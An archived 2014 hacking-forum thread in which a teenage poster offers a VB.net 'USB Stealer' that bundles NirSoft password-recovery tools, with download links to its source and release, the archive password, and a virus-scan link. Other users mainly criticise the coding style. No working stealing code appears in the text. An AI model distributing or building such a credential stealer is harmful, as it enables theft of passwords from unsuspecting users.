.NET Project-Kendo ( USB Stealer ) - Free

[.NET] Project-Kendo ( USB Stealer ) - Free - Printable Version

+- Hack Forums (https://hackforums.net)
+-- Forum: Tech (https://hackforums.net/forumdisplay.php?fid=444)
+--- Forum: Coding (https://hackforums.net/forumdisplay.php?fid=151)
+---- Forum: Software Development (https://hackforums.net/forumdisplay.php?fid=118)
+---- Thread: [.NET] Project-Kendo ( USB Stealer ) - Free (/showthread.php?tid=4385905)

Project-Kendo ( USB Stealer ) - Free - Olus - Aug 9, 2014

Hey guys ✌
I've made a reload of the basic USB-Stealer in VB.net, and this is password-protected ( The pass is "hackforums")

Here is the virus scan : http://virusscan.jotti.org/fr/scanresult/20d55ba0230c3ec73647b4c3c7e46fc5c577e76b

Here is the source : https://hostr.co/M6sgexr23Xdu

Here is the release : https://hostr.co/m79I19D8fxhL

I'm the author of this tool, but not of the tools of "Nirsoft", please don't be so mad :p

(Sorry for my english, I'm french an 14 🤐 )

[img]http://img4.hostingpics.net/pics/747006Screenshot1.png[/img]
[img]http://img4.hostingpics.net/pics/821057Screenshot2.png[/img]

I can make upgrades, just ask for it :p

* - Cisteriaso - Aug 9, 2014

Nice, thanks for sharing this, i might take a look at it later.

* - TheBarret - Aug 9, 2014

Dark blue font color on a dark grey background is not very readable.

And i see alote of problems in your source...

Define your variable properly (Strict on will hang you for this).

Code 
Dim Sup '// <------ BAD

      Sup = MsgBox("Would you like to exit ?", vbCritical + vbYesNo + 256, "Project Kendo")

      If Sup = vbYes Then

      Me.Close()

      End If

For-Each can be done like:

Code 
For Each Dpass as Process in Process.GetProcessesByName("Dialupass")

  '// your code...

Next

Ofc the compiler will accept it, but this ain't a pretty sight...

Code 
Dim Dialupass1 As Process() = Process.GetProcessesByName("Dialupass")

      Dim Dialupass2 As Process

      For Each Dialupass2 In Dialupass1

      Dialupass2.Kill()

      Next Dialupass2

Handle values are usually Pointers (IntPtr), as well that you used Ctype, your better using
DirectCast, since we "know" what type value this is.

Code 
Public ReadOnly Property Handle As IntPtr

Code 
CType(p.MainWindowHandle, Integer)

There few empty methods, why?

Code 
Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click

End Sub

Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click

End Sub

You did not handle the Exceptions anywhere in this project, andhtus you assume that everything is done properly...wich is not.
Always seek for possible errors and trap them with the Try Catch traps.

My conclusion, bad coding.

- Barret

* - Yui Asuna - Aug 9, 2014

(Aug 9, 2014 04:34 AM)TheBarret Wrote: Dark blue font color on a dark grey background is not very readable.

And i see alote of problems in your source...

Define your variable properly (Strict on will hang you for this).

Code
Dim Sup '// <------ BAD       Sup = MsgBox("Would you like to exit ?", vbCritical + vbYesNo + 256, "Project Kendo")       If Sup = vbYes Then       Me.Close()       End If

For-Each can be done like:

Code
For Each Dpass as Process in Process.GetProcessesByName("Dialupass")   '// your code... Next

Ofc the compiler will accept it, but this ain't a pretty sight...

Code
Dim Dialupass1 As Process() = Process.GetProcessesByName("Dialupass")       Dim Dialupass2 As Process       For Each Dialupass2 In Dialupass1       Dialupass2.Kill()       Next Dialupass2

Handle values are usually Pointers (IntPtr), as well that you used Ctype, your better using
DirectCast, since we "know" what type value this is.

Code
Public ReadOnly Property Handle As IntPtr

Code
CType(p.MainWindowHandle, Integer)

There few empty methods, why?

Code
Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click End Sub Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click End Sub

You did not handle the Exceptions anywhere in this project, andhtus you assume that everything is done properly...wich is not.
Always seek for possible errors and trap them with the Try Catch traps.

My conclusion, bad coding.

- Barret

Barret pls, you forgot the MsgBox() !
Why is the Handle declared at Public Property ? I didn't look at the whole source, but I'm pretty sure that's not correct in this case, and should be Private.

The empty methods also show that you didn't name your controls correctly, which is a very bad habit, and makes Yui sad ;c

* - TheBarret - Aug 9, 2014

No that was a c&p from msdn how Forms.controls have the handle defined as IntPtr.

* - Olus - Aug 9, 2014

I just wanted to share something, I would not do again

* - TheBarret - Aug 9, 2014

(Aug 9, 2014 08:37 AM)Olus Wrote: I just wanted to share something, I would not do again

idc what you do, but if you share something at least make sure its "decent" and not this ...heck i can't even call that a project.
i get it when you tell me, im still learning but look for assistance from anybody that knows his stuff, to just look it over and he will correct the big parts for ya.

* - $lick - Aug 9, 2014

(Aug 9, 2014 04:34 AM)TheBarret Wrote: There few empty methods, why?

Code
Private Sub FormSkin1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles FormSkin1.Click End Sub Private Sub TabPage1_Click(ByVal sender As System.Object, ByVal e As System.EventArgs) Handles TabPage1.Click End Sub

I'm guilty.

Not removing empty methods and never removing commented code in case I ever need it are two of my many flaws.

* - Magician. - Aug 9, 2014

What this USB Stealer does an idea ?

* - $lick - Aug 9, 2014

(Aug 9, 2014 10:19 AM)Magician. Wrote: What this USB Stealer does an idea ?

Yes the USB an idea what stealer yes maybe, thanks.

* - Olus - Aug 10, 2014

(Aug 9, 2014 09:42 AM)Odus Wrote: Our usernames are very similar... lol.

Lool :p ✌
( toooooo shoooooort)

[warn]